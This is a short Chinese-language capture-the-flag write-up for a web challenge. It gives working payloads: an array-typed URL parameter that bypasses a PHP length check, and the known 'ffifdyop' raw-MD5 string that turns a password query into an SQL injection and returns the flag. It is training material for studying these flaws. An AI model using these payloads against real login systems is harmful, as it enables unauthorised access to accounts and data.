打开页面最下面出现一行:Parameter NOHO:The Number Of Higher Organisms说明有个NOHO参数
http://62.234.99.204:8007/?NOHO=1提示too small!!
http://62.234.99.204:8007/?NOHO=9999999提示too long(>2)
利用PHP中数组大小大于数字的特点,构造如下pyload:
http://62.234.99.204:8007/?NOHO[]=1成功出现输入框
在输入框输入123,查看页面源代码注释中出现如下信息:
SELECT master FROM secret WHERE password = binary ' ,�b�Y[�K-#Kp'
Binary函数:函数将值转换为二进制字符串
一般情况下密码都是用MD5进行加密,尝试将输入的123进行MD5加密在转换为ASCII码,就是 ,�b�Y[�K-#Kp。
猜测后台的数据库查询语句为:SELECT master FROM secret WHERE password = binary 'md5(password)'
由于语句对输入没检查,现在就尝试SQL注入绕过
如123’OR’123,查找MD5中包含’OR’的字符:ffifdyop
SELECT master FROM secret WHERE password = binary ''or'6ɝ™顲,ù'
输入:ffifdyop得到flag